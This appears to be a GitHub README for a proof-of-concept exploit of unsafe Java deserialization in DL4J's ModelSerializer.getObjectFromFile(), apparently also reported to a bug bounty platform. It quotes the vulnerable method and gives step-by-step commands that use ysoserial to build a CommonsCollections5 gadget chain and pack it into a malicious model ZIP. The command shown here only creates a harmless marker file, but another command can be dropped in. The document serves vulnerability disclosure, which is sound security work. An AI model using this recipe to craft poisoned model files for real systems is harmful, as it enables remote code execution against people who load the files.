mscgo77/dl4j-modelserializer-getobjectfromfile-rce-poc

DL4J ModelSerializer.getObjectFromFile() unsafe deserialization RCE PoC

malicious_model.zip is a DL4J-style model ZIP archive containing an objects/myLabels entry whose bytes are a raw Java-serialized ysoserial CommonsCollections5 gadget chain (touch /tmp/pwned).

org.deeplearning4j.util.ModelSerializer.getObjectFromFile(File, String) — the public, documented API paired with addObjectToFile(File, String, Object) for storing/retrieving arbitrary auxiliary objects (e.g. class labels) inside a DL4J model ZIP — reads the named entry straight into ObjectInputStream.readObject() with zero type validation:

public static <T> T getObjectFromFile(@NonNull File f, @NonNull String key){
    ...
    try (ZipFile zipFile = new ZipFile(f)) {
        ZipEntry entry = zipFile.getEntry("objects/" + key);
        ...
        try(ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(zipFile.getInputStream(entry)))){
            o = ois.readObject();   // unfiltered
        }
        return (T)o;
    } ...
}

The only validation is a check that key isn't one of a handful of reserved internal names — there's no restriction on what class gets deserialized. Calling getObjectFromFile(malicious_model.zip, "myLabels") executes the gadget chain's payload; the call even "succeeds" without throwing (the generic <T> unchecked cast swallows the type mismatch).

This is a distinct, previously-undisclosed sink — not the same code path as the already-published CVE-2025-53001 (GHSA-wfhj-v5g7-vr7g), which covers only ModelSerializer.restoreMultiLayerNetwork() / the PREPROCESSOR_BIN ZIP entry. getObjectFromFile/addObjectToFile is a different, generic public API with no mention in that advisory.

How malicious_model.zip was built

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial && mvn clean package -DskipTests
java -jar target/ysoserial-*-all.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin

mkdir -p ziproot/objects
cp payload.bin ziproot/objects/myLabels
cd ziproot && zip -r ../malicious_model.zip objects/ && cd ..

commons-collections:3.2.1 must be on the victim's classpath for the CC5 gadget to fire (a common, often-transitive dependency in Java ML/data pipelines).

Confirmed against the current GitHub master branch (deeplearning4j/deeplearning4j, deeplearning4j-nn module).

Reported to huntr.com as a Model File Vulnerability (MFV) submission ("DL4J" format).